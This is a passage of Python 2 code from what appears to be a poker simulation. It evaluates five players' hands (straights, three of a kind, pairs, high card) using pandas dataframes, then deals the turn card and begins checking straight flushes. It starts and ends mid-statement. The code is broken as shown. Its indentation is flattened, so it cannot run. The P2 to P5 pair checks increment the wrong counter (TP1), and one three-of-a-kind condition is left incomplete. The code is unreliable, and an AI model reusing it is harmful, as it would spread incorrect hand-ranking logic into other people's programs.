list[4]) SF = SF + 1 # P5 Evaluation # With Ace Low list[0] = df5.iloc[i * 4 + k - 1, 1] list[1] = df5.iloc[i * 4 + k - 1, 3] list[2] = df5.iloc[i * 4 + k - 1, 5] list[3] = df5.iloc[i * 4 + k - 1, 7] list[4] = df5.iloc[i * 4 + k - 1, 9] for m in range(0, 5): if list[m] == 14: list[m] = 1 list = np.sort(list).tolist() if list[0] + 1 == list[1] and list[1] + 1 == list[2] and list[2] + 1 == list[3] and \ list[3] + 1 == \ list[4]: a5 = max(list[0], list[1], list[2], list[3], list[4]) SF = SF + 1 # With Ace High for m in range(0, 5): if list[m] == 1: list[m] = 14 list = np.sort(list).tolist() if list[0] + 1 == list[1] and list[1] + 1 == list[2] and list[2] + 1 == list[3] and \ list[3] + 1 == list[4]: a5 = max(list[0], list[1], list[2], list[3], list[4]) SF = SF + 1 # Check for Straight if (SF > 0): print "Straight" b = max(a1, a2, a3, a4, a5) if a1 == b: df1.iloc[i * 4 + k - 1, 14] = 1 if a2 == b: df2.iloc[i * 4 + k - 1, 14] = 1 if a3 == b: df3.iloc[i * 4 + k - 1, 14] = 1 if a4 == b: df4.iloc[i * 4 + k - 1, 14] = 1 if a5 == b: df5.iloc[i * 4 + k - 1, 14] = 1 else: #Check for 3 of a kind FH = 0 a1i = 0 a2i = 0 a3i = 0 a4i = 0 a5i = 0 # Evaluate for P1 list[0] = df1.iloc[i * 4 + k - 1, 1] list[1] = df1.iloc[i * 4 + k - 1, 3] list[2] = df1.iloc[i * 4 + k - 1, 5] list[3] = df1.iloc[i * 4 + k - 1, 7] list[4] = df1.iloc[i * 4 + k - 1, 9] if list[0] == list[1] and list[1] == list[2]: a1i = list[0] FH = FH + 1 elif list[0] == list[1] and list[1] == list[3]: a1i = list[0] FH = FH + 1 elif list[0] == list[1] and list[1] == list[4]: a1i = list[0] FH = FH + 1 elif list[0] == list[3] and list[3] == list[2]: a1i = list[0] FH = FH + 1 elif list[0] == list[4] and list[4] == list[2]: a1i = list[0] FH = FH + 1 elif list[3] == list[1] and list[1] == list[2]: a1i = list[3] FH = FH + 1 elif list[4] == list[1] and list[1] == list[2]: a1i = list[4] FH = FH + 1 elif list[0] == list[3] and list[3] == list[4]: a1i = list[0] FH = FH + 1 elif list[3] == list[1] and list[1] == list[4]: a1i = list[3] FH = FH + 1 # Evaluate for P2 list[0] = df2.iloc[i * 4 + k - 1, 1] list[1] = df2.iloc[i * 4 + k - 1, 3] list[2] = df2.iloc[i * 4 + k - 1, 5] list[3] = df2.iloc[i * 4 + k - 1, 7] list[4] = df2.iloc[i * 4 + k - 1, 9] if list[0] == list[1] and list[1] == list[2]: a2i = list[0] FH = FH + 1 elif list[0] == list[1] and list[1] == list[3]: a2i = list[0] FH = FH + 1 elif list[0] == list[1] and list[1] == list[4]: a2i = list[0] FH = FH + 1 elif list[0] == list[3] and list[3] == list[2]: a2i = list[0] FH = FH + 1 elif list[0] == list[4] and list[4] == list[2]: a2i = list[0] FH = FH + 1 elif list[3] == list[1] and list[1] == list[2]: a2i = list[3] FH = FH + 1 elif list[4] == list[1] and list[1] == list[2]: a2i = list[4] FH = FH + 1 elif list[0] == list[3] and list[3] == list[4]: a2i = list[0] FH = FH + 1 elif list[3] == list[1] and list[1] == list[4]: a2i = list[3] FH = FH + 1 # Evaluate for P3 list[0] = df3.iloc[i * 4 + k - 1, 1] list[1] = df3.iloc[i * 4 + k - 1, 3] list[2] = df3.iloc[i * 4 + k - 1, 5] list[3] = df3.iloc[i * 4 + k - 1, 7] list[4] = df3.iloc[i * 4 + k - 1, 9] if list[0] == list[1] and list[1] == list[2]: a3i = list[0] FH = FH + 1 elif list[0] == list[1] and list[1] == list[3]: a3i = list[0] FH = FH + 1 elif list[0] == list[1] and list[1] == list[4]: a3i = list[0] FH = FH + 1 elif list[0] == list[3] and list[3] == list[2]: a3i = list[0] FH = FH + 1 elif list[0] == list[4] and list[4] == list[2]: a3i = list[0] FH = FH + 1 elif list[3] == list[1] and list[1] == list[2]: a3i = list[3] FH = FH + 1 elif list[4] == list[1] and list[1] == list[2]: a3i = list[4] FH = FH + 1 elif list[0] == list[3] and list[3] == list[4]: a3i = list[0] FH = FH + 1 elif list[3] == list[1] and list[1] == list[4]: a3i = list[3] FH = FH + 1 # Evaluate for P4 list[0] = df4.iloc[i * 4 + k - 1, 1] list[1] = df4.iloc[i * 4 + k - 1, 3] list[2] = df4.iloc[i * 4 + k - 1, 5] list[3] = df4.iloc[i * 4 + k - 1, 7] list[4] = df4.iloc[i * 4 + k - 1, 9] if list[0] == list[1] and list[1] == list[2]: a4i = list[0] FH = FH + 1 elif list[0] == list[1] and list[1] == list[3]: a4i = list[0] FH = FH + 1 elif list[0] == list[1] and list[1] == list[4]: a4i = list[0] FH = FH + 1 elif list[0] == list[3] and list[3] == list[2]: a4i = list[0] FH = FH + 1 elif list[0] == list[4] and list[4] == list[2]: a4i = list[0] FH = FH + 1 elif list[3] == list[1] and list[1] == list[2]: a4i = list[3] FH = FH + 1 elif list[4] == list[1] and list[1] == list[2]: a4i = list[4] FH = FH + 1 elif list[0] == list[3] and list[3] == list[4]: a4i = list[0] FH = FH + 1 elif list[3] == list[1] and list[1] == list[4]: a4i = list[3] FH = FH + 1 # Evaluate for P5 list[0] = df5.iloc[i * 4 + k - 1, 1] list[1] = df5.iloc[i * 4 + k - 1, 3] list[2] = df5.iloc[i * 4 + k - 1, 5] list[3] = df5.iloc[i * 4 + k - 1, 7] list[4] = df5.iloc[i * 4 + k - 1, 9] if list[0] == list[1] and list[1] == list[2]: a5i = list[0] FH = FH + 1 elif list[0] == list[1] and list[1] == list[3]: a5i = list[0] FH = FH + 1 elif list[0] == list[1] and list[1] == list[4]: a5i = list[0] FH = FH + 1 elif list[0] == list[3] and list[3] == list[2]: a5i = list[0] FH = FH + 1 elif list[0] == list[4] and list[4] == list[2]: a5i = list[0] FH = FH + 1 elif list[3] == list[1] and list[1] == list[2]: a5i = list[3] FH = FH + 1 elif list[4] == list[1] and list[1]: a5i = list[4] FH = FH + 1 elif list[0] == list[3] and list[3] == list[4]: a5i = list[0] FH = FH + 1 elif list[3] == list[1] and list[1] == list[4]: a5i = list[3] FH = FH + 1 # Evaluating for 3 of a kind if (FH > 0): print "3 of a kind" if a1i == a2i and a1i != 0: b = max (df1.iloc[i * 4 + k - 1, 1], df1.iloc[i * 4 + k - 1, 3], df2.iloc[i * 4 + k - 1, 1], df2.iloc[i * 4 + k - 1, 3],) if b == df1.iloc[i * 4 + k - 1, 1] or b == df1.iloc[i * 4 + k - 1, 3]: df1.iloc[i * 4 + k - 1, 14] = 1 else: df2.iloc[i * 4 + k - 1, 14] = 1 elif a1i == a3i and a1i != 0: b = max (df1.iloc[i * 4 + k - 1, 1], df1.iloc[i * 4 + k - 1, 3], df3.iloc[i * 4 + k - 1, 1], df3.iloc[i * 4 + k - 1, 3],) if b == df1.iloc[i * 4 + k - 1, 1] or b == df1.iloc[i * 4 + k - 1, 3]: df1.iloc[i * 4 + k - 1, 14] = 1 else: df3.iloc[i * 4 + k - 1, 14] = 1 elif a1i == a4i and a1i != 0: b = max (df1.iloc[i * 4 + k - 1, 1], df1.iloc[i * 4 + k - 1, 3], df4.iloc[i * 4 + k - 1, 1], df4.iloc[i * 4 + k - 1, 3],) if b == df1.iloc[i * 4 + k - 1, 1] or b == df1.iloc[i * 4 + k - 1, 3]: df1.iloc[i * 4 + k - 1, 14] = 1 else: df4.iloc[i * 4 + k - 1, 14] = 1 elif a1i == a5i and a1i != 0: b = max (df1.iloc[i * 4 + k - 1, 1], df1.iloc[i * 4 + k - 1, 3], df5.iloc[i * 4 + k - 1, 1], df5.iloc[i * 4 + k - 1, 3],) if b == df1.iloc[i * 4 + k - 1, 1] or b == df1.iloc[i * 4 + k - 1, 3]: df1.iloc[i * 4 + k - 1, 14] = 1 else: df5.iloc[i * 4 + k - 1, 14] = 1 elif a2i == a3i and a2i != 0: b = max (df2.iloc[i * 4 + k - 1, 1], df2.iloc[i * 4 + k - 1, 3], df3.iloc[i * 4 + k - 1, 1], df3.iloc[i * 4 + k - 1, 3],) if b == df2.iloc[i * 4 + k - 1, 1] or b == df2.iloc[i * 4 + k - 1, 3]: df2.iloc[i * 4 + k - 1, 14] = 1 else: df3.iloc[i * 4 + k - 1, 14] = 1 elif a2i == a4i and a2i != 0: b = max(df2.iloc[i * 4 + k - 1, 1], df2.iloc[i * 4 + k - 1, 3], df4.iloc[i * 4 + k - 1, 1], df4.iloc[i * 4 + k - 1, 3], ) if b == df2.iloc[i * 4 + k - 1, 1] or b == df2.iloc[i * 4 + k - 1, 3]: df2.iloc[i * 4 + k - 1, 14] = 1 else: df4.iloc[i * 4 + k - 1, 14] = 1 elif a2i == a5i and a2i != 0: b = max(df2.iloc[i * 4 + k - 1, 1], df2.iloc[i * 4 + k - 1, 3], df5.iloc[i * 4 + k - 1, 1], df5.iloc[i * 4 + k - 1, 3], ) if b == df2.iloc[i * 4 + k - 1, 1] or b == df2.iloc[i * 4 + k - 1, 3]: df2.iloc[i * 4 + k - 1, 14] = 1 else: df5.iloc[i * 4 + k - 1, 14] = 1 elif a3i == a4i and a3i != 0: b = max(df3.iloc[i * 4 + k - 1, 1], df3.iloc[i * 4 + k - 1, 3], df4.iloc[i * 4 + k - 1, 1], df4.iloc[i * 4 + k - 1, 3], ) if b == df3.iloc[i * 4 + k - 1, 1] or b == df3.iloc[i * 4 + k - 1, 3]: df3.iloc[i * 4 + k - 1, 14] = 1 else: df4.iloc[i * 4 + k - 1, 14] = 1 elif a3i == a5i and a3i != 0: b = max(df3.iloc[i * 4 + k - 1, 1], df3.iloc[i * 4 + k - 1, 3], df5.iloc[i * 4 + k - 1, 1], df5.iloc[i * 4 + k - 1, 3], ) if b == df3.iloc[i * 4 + k - 1, 1] or b == df3.iloc[i * 4 + k - 1, 3]: df3.iloc[i * 4 + k - 1, 14] = 1 else: df5.iloc[i * 4 + k - 1, 14] = 1 elif a4i == a5i and a4i != 0: b = max(df4.iloc[i * 4 + k - 1, 1], df4.iloc[i * 4 + k - 1, 3], df5.iloc[i * 4 + k - 1, 1], df5.iloc[i * 4 + k - 1, 3], ) if b == df4.iloc[i * 4 + k - 1, 1] or b == df4.iloc[i * 4 + k - 1, 3]: df4.iloc[i * 4 + k - 1, 14] = 1 else: df5.iloc[i * 4 + k - 1, 14] = 1 else: b = max(a1i, a2i, a3i, a4i, a5i) if a1i == b: df1.iloc[i * 4 + k - 1, 14] = 1 elif a2i == b: df2.iloc[i * 4 + k - 1, 14] = 1 elif a3i == b: df3.iloc[i * 4 + k - 1, 14] = 1 elif a4i == b: df4.iloc[i * 4 + k - 1, 14] = 1 elif a5i == b: df5.iloc[i * 4 + k - 1, 14] = 1 else: #Evaluate for two pair and one pair f1 = [0] f2 = [0] f3 = [0] f4 = [0] f5 = [0] a1 = [0] a2 = [0] a3 = [0] a4 = [0] a5 = [0] Fin = 0 # Evaluate P1 TP1 = 0 list[0] = df1.iloc[i * 4 + k - 1, 1] list[1] = df1.iloc[i * 4 + k - 1, 3] list[2] = df1.iloc[i * 4 + k - 1, 5] list[3] = df1.iloc[i * 4 + k - 1, 7] list[4] = df1.iloc[i * 4 + k - 1, 9] if (list[0] == list[2] or list[0] == list[3] or list[ 0] == list[4]): TP1 = TP1 + 1 f1.append(list[0]) if (list[1] == list[2] or list[1] == list[3] or list[1] == list[4]): TP1 = TP1 + 1 f1.append(list[1]) if (list[0] == list[1]): TP1 = TP1 + 1 f1.append(list[1]) if TP1 > 1: f1 = np.sort(f1[::-1]).tolist() a1.append(f1[0]) a1.append(f1[1]) Fin = Fin + 1 # Evaluate P2 TP2 = 0 list[0] = df2.iloc[i * 4 + k - 1, 1] list[1] = df2.iloc[i * 4 + k - 1, 3] list[2] = df2.iloc[i * 4 + k - 1, 5] list[3] = df2.iloc[i * 4 + k - 1, 7] list[4] = df2.iloc[i * 4 + k - 1, 9] if (list[0] == list[2] or list[0] == list[3] or list[0] == list[4]): TP2 = TP2 + 1 f2.append(list[0]) if (list[1] == list[2] or list[1] == list[3] or list[1] == list[4]): TP2 = TP2 + 1 f2.append(list[1]) if (list[0] == list[1]): TP1 = TP1 + 1 f2.append(list[1]) if TP2 > 1: f2 = np.sort(f2[::-1]).tolist() a2.append(f2[0]) a2.append(f2[1]) Fin = Fin + 1 # Evaluate P3 TP3 = 0 list[0] = df3.iloc[i * 4 + k - 1, 1] list[1] = df3.iloc[i * 4 + k - 1, 3] list[2] = df3.iloc[i * 4 + k - 1, 5] list[3] = df3.iloc[i * 4 + k - 1, 7] list[4] = df3.iloc[i * 4 + k - 1, 9] if (list[0] == list[2] or list[0] == list[ 3] or list[0] == list[4]): TP3 = TP3 + 1 f3.append(list[0]) if (list[1] == list[2] or list[1] == list[3] or list[1] == list[4]): TP3 = TP3 + 1 f3.append(list[1]) if (list[0] == list[1]): TP1 = TP1 + 1 f3.append(list[1]) if TP3 > 1: f3 = np.sort(f3[::-1]).tolist() a3.append(f3[0]) a3.append(f3[1]) Fin = Fin + 1 # Evaluate P4 TP4 = 0 list[0] = df4.iloc[i * 4 + k - 1, 1] list[1] = df4.iloc[i * 4 + k - 1, 3] list[2] = df4.iloc[i * 4 + k - 1, 5] list[3] = df4.iloc[i * 4 + k - 1, 7] list[4] = df4.iloc[i * 4 + k - 1, 9] if (list[0] == list[2] or list[0] == list[ 3] or list[0] == list[4]): TP4 = TP4 + 1 f4.append(list[0]) if (list[1] == list[2] or list[1] == list[3] or list[1] == list[ 4]): TP4 = TP4 + 1 f4.append(list[1]) if (list[0] == list[1]): TP1 = TP1 + 1 f4.append(list[1]) if TP4 > 1: f4 = np.sort(f4[::-1]).tolist() a4.append(f4[0]) a4.append(f4[1]) Fin = Fin + 1 # Evaluate P5 TP5 = 0 list[0] = df5.iloc[i * 4 + k - 1, 1] list[1] = df5.iloc[i * 4 + k - 1, 3] list[2] = df5.iloc[i * 4 + k - 1, 5] list[3] = df5.iloc[i * 4 + k - 1, 7] list[4] = df5.iloc[i * 4 + k - 1, 9] if (list[0] == list[2] or list[0] == list[3] or list[0] == list[4]): TP5 = TP5 + 1 f5.append(list[0]) if (list[1] == list[2] or list[1] == list[3] or list[1] == list[4]): TP5 = TP5 + 1 f5.append(list[1]) if (list[0] == list[1]): TP1 = TP1 + 1 f5.append(list[1]) if TP5 > 1: f5 = np.sort(f5[::-1]).tolist() a5.append(f5[0]) a5.append(f5[1]) Fin = Fin + 1 #Check for two pair if Fin > 0: print "Two pair" b = max(max(a1),max(a2),max(a3),max(a4),max(a5)) if max(a1) == b: df1.iloc[i * 4 + k - 1, 14] = 1 elif max(a2) == b: df2.iloc[i * 4 + k - 1, 14] = 1 elif max(a3) == b: df3.iloc[i * 4 + k - 1, 14] = 1 elif max(a4) == b: df4.iloc[i * 4 + k - 1, 14] = 1 elif max(a5) == b: df5.iloc[i * 4 + k - 1, 14] = 1 #Check for one pair elif TP1+TP2+TP3+TP4+TP5 > 0: print "One pair" b = max(max(f1),max(f2),max(f3),max(f4),max(f5)) if max(f1) == b: df1.iloc[i * 4 + k - 1, 14] = 1 if max(f2) == b: df2.iloc[i * 4 + k - 1, 14] = 1 if max(f3) == b: df3.iloc[i * 4 + k - 1, 14] = 1 if max(f4) == b: df4.iloc[i * 4 + k - 1, 14] = 1 if max(f5) == b: df5.iloc[i * 4 + k - 1, 14] = 1 else: #Find the high card print "High Card" winner = max(df1.iloc[i * 4 + k - 1, 1], df1.iloc[i * 4 + k - 1, 3], df2.iloc[i * 4 + k - 1, 1], df2.iloc[i * 4 + k - 1, 3], df3.iloc[i * 4 + k - 1, 1], df3.iloc[i * 4 + k - 1, 3], df4.iloc[i * 4 + k - 1, 1], df4.iloc[i * 4 + k - 1, 3], df5.iloc[i * 4 + k - 1, 1], df5.iloc[i * 4 + k - 1, 3], ) if df1.iloc[i * 4 + k - 1, 1] == winner or df1.iloc[ i * 4 + k - 1, 3] == winner: df1.iloc[i * 4 + k - 1, 14] = 1 if df2.iloc[i * 4 + k - 1, 1] == winner or df2.iloc[ i * 4 + k - 1, 3] == winner: df2.iloc[i * 4 + k - 1, 14] = 1 if df3.iloc[i * 4 + k - 1, 1] == winner or df3.iloc[ i * 4 + k - 1, 3] == winner: df3.iloc[i * 4 + k - 1, 14] = 1 if df4.iloc[i * 4 + k - 1, 1] == winner or df4.iloc[ i * 4 + k - 1, 3] == winner: df4.iloc[i * 4 + k - 1, 14] = 1 if df5.iloc[i * 4 + k - 1, 1] == winner or df5.iloc[ i * 4 + k - 1, 3] == winner: df5.iloc[i * 4 + k - 1, 14] = 1 # Create Turn Round if k == 3: df1.loc[i * 4 + k - 1] = df1.loc[i * 4 + k - 2] df2.loc[i * 4 + k - 1] = df2.loc[i * 4 + k - 2] df3.loc[i * 4 + k - 1] = df3.loc[i * 4 + k - 2] df4.loc[i * 4 + k - 1] = df4.loc[i * 4 + k - 2] df5.loc[i * 4 + k - 1] = df5.loc[i * 4 + k - 2] while x == 0: print "Step 13" #Generate 4th community card or the turn df1.iloc[i * 4 + k - 1][10] = random.randrange(1, 5) df1.iloc[i * 4 + k - 1][11] = random.randrange(2, 15) df2.iloc[i * 4 + k - 1][10] = df1.iloc[i * 4 + k - 1][10] df2.iloc[i * 4 + k - 1][11] = df1.iloc[i * 4 + k - 1][11] df3.iloc[i * 4 + k - 1][10] = df1.iloc[i * 4 + k - 1][10] df3.iloc[i * 4 + k - 1][11] = df1.iloc[i * 4 + k - 1][11] df4.iloc[i * 4 + k - 1][10] = df1.iloc[i * 4 + k - 1][10] df4.iloc[i * 4 + k - 1][11] = df1.iloc[i * 4 + k - 1][11] df5.iloc[i * 4 + k - 1][10] = df1.iloc[i * 4 + k - 1][10] df5.iloc[i * 4 + k - 1][11] = df1.iloc[i * 4 + k - 1][11] # Check if this card is already generated in this game, then re-generate if (df1.iloc[i * 4 + k - 1, 10] == df1.iloc[i * 4 + k - 1, 8] and df1.iloc[i * 4 + k - 1, 11] == df1.iloc[i * 4 + k - 1, 9]) \ or (df1.iloc[i * 4 + k - 1, 10] == df1.iloc[i * 4 + k - 1, 6] and df1.iloc[ i * 4 + k - 1, 11] == df1.iloc[i * 4 + k - 1, 7]) \ or (df1.iloc[i * 4 + k - 1, 10] == df1.iloc[i * 4 + k - 1, 4] and df1.iloc[ i * 4 + k - 1, 11] == df1.iloc[i * 4 + k - 1, 5]) \ or (df1.iloc[i * 4 + k - 1, 10] == df1.iloc[i * 4 + k - 1, 2] and df1.iloc[ i * 4 + k - 1, 11] == df1.iloc[i * 4 + k - 1, 3]) \ or (df1.iloc[i * 4 + k - 1, 10] == df1.iloc[i * 4 + k - 1, 0] and df1.iloc[ i * 4 + k - 1, 11] == df1.iloc[i * 4 + k - 1, 1])\ or (df1.iloc[i * 4 + k - 1, 10] == df2.iloc[i * 4 + k - 1, 2] and df1.iloc[ i * 4 + k - 1, 11] == df2.iloc[i * 4 + k - 1, 3])\ or (df1.iloc[i * 4 + k - 1, 10] == df3.iloc[i * 4 + k - 1, 2] and df1.iloc[ i * 4 + k - 1, 11] == df3.iloc[i * 4 + k - 1, 3])\ or (df1.iloc[i * 4 + k - 1, 10] == df4.iloc[i * 4 + k - 1, 2] and df1.iloc[ i * 4 + k - 1, 11] == df4.iloc[i * 4 + k - 1, 3])\ or (df1.iloc[i * 4 + k - 1, 10] == df5.iloc[i * 4 + k - 1, 2] and df1.iloc[ i * 4 + k - 1, 11] == df5.iloc[i * 4 + k - 1, 3]) \ or (df1.iloc[i * 4 + k - 1, 10] == df2.iloc[i * 4 + k - 1, 0] and df1.iloc[ i * 4 + k - 1, 11] == df2.iloc[i * 4 + k - 1, 1]) \ or (df1.iloc[i * 4 + k - 1, 10] == df3.iloc[i * 4 + k - 1, 0] and df1.iloc[ i * 4 + k - 1, 11] == df3.iloc[i * 4 + k - 1, 1]) \ or (df1.iloc[i * 4 + k - 1, 10] == df4.iloc[i * 4 + k - 1, 0] and df1.iloc[ i * 4 + k - 1, 11] == df4.iloc[i * 4 + k - 1, 1]) \ or (df1.iloc[i * 4 + k - 1, 10] == df5.iloc[i * 4 + k - 1, 0] and df1.iloc[ i * 4 + k - 1, 11] == df5.iloc[i * 4 + k - 1, 1]): continue else: x = 1 #Evaluate turn round list = [[-1,-1], [-1, -1], [-1, -1], [-1,-1], [-1, -1], [-1, -1]] df1.iloc[i * 4 + k - 1, 14] = 0 df2.iloc[i * 4 + k - 1, 14] = 0 df3.iloc[i * 4 + k - 1, 14] = 0 df4.iloc[i * 4 + k - 1, 14] = 0 df5.iloc[i * 4 + k - 1, 14] = 0 # Straight Flush Evaluation SF = 0 a1 = 0 a2 = 0 a3 = 0 a4 = 0 a5 = 0 # P1 Evaluation #With Ace Low list[0] = [df1.iloc[i * 4 + k - 1, 1], df1.iloc[i * 4 + k - 1, 0]] list[1] = [df1.iloc[i * 4 + k - 1, 3], df1.iloc[i * 4 + k - 1, 2]] list[2] = [df1.iloc[i * 4 + k - 1, 5], df1.iloc[i * 4 + k - 1, 4]] list[3] = [df1.iloc[i * 4 + k - 1, 7], df1.iloc[i * 4 + k - 1, 6]] list[4] = [df1.iloc[i * 4 + k - 1, 9], df1.iloc[i * 4 + k - 1, 8]] list[5] = [df1.iloc[i * 4 + k - 1, 11], df1.iloc[i * 4 + k - 1, 10]] for m in range(0, 6): if list[m][0] == 14: list[m][0] = 1 list = sorted(list, key=lambda x: x[0]) if list[0][0] + 1 == list[1][0] and list[1][0] + 1 == list[2][0] and list[2][0] + 1 == list[3][0] and list[3][0] + 1 == list[ 4][0] and list[0][1] == list[1][1] and list[1][1] == list[2][1] and list[2][1] == list[3][1] and list[3][1] == list[4][1]: a1 = max(list[0][0], list[1][0], list[2][0], list[3][0], list[4][0]) SF = SF + 1 if list[1][0] + 1 == list[2][0] and list[2][0] + 1 == list[3][0] and list[3][0] + 1 == list[4][0] and list[4][0] + 1 == list[ 5][0] and list[1][1] == list[2][1] and list[2][1] == list[3][1] and list[3][1] == list[4][1] and list[4][1] == list[5][1]: a1 = max(list[5][0], list[1][0], list[2][0], list[3][0], list[4][0]) SF = SF + 1 # With Ace High list[0] = [df1.iloc[i * 4 + k - 1, 1], df1.iloc[i * 4 + k - 1, 0]] list[1] = [df1.iloc[i * 4 + k - 1, 3], df1.iloc[i * 4 + k - 1, 2]] list[2] = [df1.iloc[i * 4 + k - 1, 5], df1.iloc[i * 4 + k - 1, 4]] list[3] = [df1.iloc[i * 4 + k - 1, 7], df1.iloc[i * 4 + k - 1, 6]] list[4] = [df1.iloc[i * 4 + k - 1, 9], df1.iloc[i * 4 + k - 1, 8]] list[5] = [df1.iloc[i * 4 + k - 1, 11], df1.iloc[i * 4 + k - 1, 10]] list = sorted(list, key=lambda x: x[0]) if list[0][0] + 1 == list[1][0] and list[1][0] + 1 == list[2][0] and list[2][0] + 1 == list[3][0] and list[3][0] + 1 == list[ 4][0] and list[0][1] == list[1][1] and list[1][1] == list[2][1] and list[2][1] == list[3][1] and list[3][1] == list[4][1]: a1 = max(list[0][0], list[1][0], list[2][0], list[3][0], list[4][0]) SF = SF + 1 if list[1][0] + 1 == list[2][0] and list[2][0] + 1 == list[3][0] and list[3][0] + 1 == list[4][0] and list[4][0] + 1 == list[ 5][0] and list[1][1] == list[2][1] and list[2][1] == list[3][1] and list[3][1] == list[4][1] and list[4][1] == list[5][1]: a1 = max(list[5][0], list[1][0], list[2][0], list[3][0], list[4][0]) SF = SF + 1 # P2 Evaluation #With Ace Low list[0] = [df2.iloc[i * 4 + k - 1, 1], df2.iloc[i * 4 + k - 1, 0]] list[1] = [df2.iloc[i * 4 + k - 1, 3], df2.iloc[i * 4 + k - 1, 2]] list[2] = [df2.iloc[i * 4 + k - 1, 5], df2.iloc[i * 4 + k - 1, 4]] list[3] = [df2.iloc[i * 4 + k - 1, 7], df2.iloc[i * 4 + k - 1, 6]] list[4] = [df2.iloc[i * 4 + k - 1, 9], df2.iloc[i * 4 + k - 1, 8]] list[5] = [df2.iloc[i * 4 + k - 1, 11], df2.iloc[i * 4 + k - 1, 10]] for m in range(0, 6): if list[m][0] == 14: list[m][0] = 1 list = sorted(list, key=lambda x: x[0]) if list[0][0] + 1 == list[1][0] and list[1][0] + 1 == list[2][0] and list[2][0] + 1 == list[3][0] and list[3][0] + 1 == list[ 4][0] and list[0][1] == list[1][1] and list[1][1] == list[2][1] and list[2][1] == list[3][1] and list[3][1] == list[4][1]: a2 = max(list[0][0], list[1][0], list[2][0], list[3][0], list[4][0]) SF = SF + 1 if list[1][0] + 1 == list[2][0] and list[2][0] + 1 == list[3][0] and list[3][0] + 1 == list[4][0] and list[4][0] + 1 == list[ 5][0] and list[1][1] == list[2][1] and list[2][1] == list[3][1] and list[3][1] == list[4][1] and list[4][1] == list[5][1]: a2 = max(list[5][0], list[1][0], list[2][0], list[3][0], list[4][0]) SF = SF + 1 # With Ace High list[0] = [df2.iloc[i * 4 + k - 1, 1], df2.iloc[i * 4 + k - 1, 0]] list[1] = [df2.iloc[i * 4 + k - 1, 3], df2.iloc[i * 4 + k - 1, 2]] list[2] = [df2.iloc[i * 4 + k - 1, 5], df2.iloc[i * 4 + k - 1, 4]] list[3] = [df2.iloc[i * 4 + k - 1, 7], df2.iloc[i * 4 + k - 1, 6]] list[4] = [df2.iloc[i * 4 + k - 1, 9], df2.iloc[i * 4 + k - 1, 8]] list[5] = [df2.iloc[i * 4 + k - 1, 11], df2.iloc[i * 4 + k - 1, 10]] list = sorted(list, key=lambda x: x[0]) if list[0][0] + 1 == list[1][0] and list[1][0] + 1 == list[2][0] and list[2][0] + 1 == list[3][0] and list[3][0] + 1 == list[ 4][0] and list[0][1] == list[1][1] and list[1][1] == list[2][1] and list[2][1] == list[3][1] and list[3][1] == list[4][1]: a2 = max(list[0][0], list[1][0], list[2][0], list[3][0], list[4][0]) SF = SF + 1 if list[1][0] + 1 == list[2][0] and list[2][0] + 1 == list[3][0] and list[3][0] + 1 == list[4][0] and list[4][0] + 1 == list[ 5][0] and list[1][1] == list[2][1] and list[2][1] == list[3][1] and list[3][1] == list[4][1] and list[4][1] == list[5][1]: a2 = max(list[5][0], list[1][0], list[2][0], list[3][0], list[4][0]) SF = SF + 1 # P3 Evaluation #With Ace Low list[0] = [df3.iloc[i * 4 + k - 1, 1], df3.iloc[i * 4 + k - 1, 0]] list[1] = [df3.iloc[i * 4 + k - 1, 3], df3.iloc[i * 4 + k - 1, 2]] list[2] = [df3.iloc[i * 4 + k - 1, 5], df3.iloc[i * 4 + k - 1, 4]] list[3] = [df3.iloc[i * 4 + k - 1, 7], df3.iloc[i * 4 + k - 1, 6]] list[4] = [df3.iloc[i * 4 + k - 1, 9], df3.iloc[i * 4 + k - 1, 8]] list[5] = [df3.iloc[i * 4 + k - 1, 11], df3.iloc[i * 4 + k - 1, 10]] for m in range(0, 6): if list[m][0] == 14: list[m][0] = 1 list = sorted(list, key=lambda x: x[0]) if list[0][0] + 1 == list[1][0] and list[1][0] + 1 == list[2][0] and list[2][0] + 1 == list[3][0] and list[3][0] + 1 == list[ 4][0] and list[0][1] == list[1][1] and list[1][1] == list[2][1] and list[2][1] == list[3][1] and list[3][1] == list[4][1]: a3 = max(list[0][0], list[1][0], list[2][0], list[3][0], list[4][0]) SF = SF + 1 if list[1][0] + 1 == list[2][0] and list[2][0] + 1 == list[3][0] and list[3][0] + 1 == list[4][0] and list[4][0] + 1 == list[ 5][0] and list[1][1] == list[2][1] and list[2][1] == list[3][1] and list[3][1] == list[4][1] and list[4][1] == list[5][1]: a3 = max(list[5][0], list[1][0], list[2][0], list[3][0], list[4][0]) SF = SF + 1 # With Ace High list[0] = [df3.iloc[i * 4 + k - 1, 1], df3.iloc[i * 4 + k - 1, 0]] list[1] = [df3.iloc[i * 4 + k - 1, 3], df3.iloc[i * 4 + k - 1, 2]] list[2] = [df3.iloc[i * 4 + k - 1, 5], df3.iloc[i * 4 + k - 1, 4]] list[3] = [df3.iloc[i * 4 + k - 1, 7], df3.iloc[i * 4 + k - 1, 6]] list[4] = [df3.iloc[i * 4 + k - 1, 9], df3.iloc[i * 4 + k - 1, 8]] list[5] = [df3.iloc[i * 4 + k - 1, 11], df3.iloc[i * 4 + k - 1, 10]] list = sorted(list, key=lambda x: x[0]) if list[0][0] + 1 == list[1][0] and list[1][0] + 1 == list[2][0] and list[2][0] + 1 == list[3][0] and list[3][0] + 1 == list[ 4][0] and list[0][1] == list[1][1] and list[1][1] == list[2][1] and list[2][1] == list[3][1] and list[3][1] == list[4][1]: a3 = max(list[0][0], list[1][0], list[2][0], list[3][0], list[4][0]) SF = SF + 1 if list[1][0] + 1 == list[2][0] and list[2][0] + 1 == list[3][0] and list[3][0] + 1 == list[4][0] and list[4][0] + 1 == list[ 5][0] and list[1][1] == list[2][1] and list[2][1] == list[3][1] and list[3][1] == list[4][1] and list[4][1] == list[5][1]: a3 = max(list[5][0], list[1][0], list[2][0], list[3][0], list[4][0]) SF = SF + 1 # P4 Evaluation #With Ace Low list[0] = [df4.iloc[i * 4 + k - 1, 1], df4.iloc[i * 4 + k - 1, 0]] list[1] = [df4.iloc[i * 4 + k - 1, 3], df4.iloc[i * 4 + k - 1, 2]] list[2] = [df4.iloc[i * 4 + k - 1, 5], df4.iloc[i * 4 + k - 1, 4]] list[3] = [df4.iloc[i * 4 + k - 1, 7], df4.iloc[i * 4 + k - 1, 6]] list[4] = [df4.iloc[i * 4 + k - 1, 9], df4.iloc[i * 4 + k - 1, 8]] list[5] = [df4.iloc[i * 4 + k - 1, 11], df4.iloc[i * 4 + k - 1, 10]] for m in range(0, 6): if list[m][0] == 14: list[m][0] = 1 list = sorted(list, key=lambda x: x[0]) if list[0][0] + 1 == 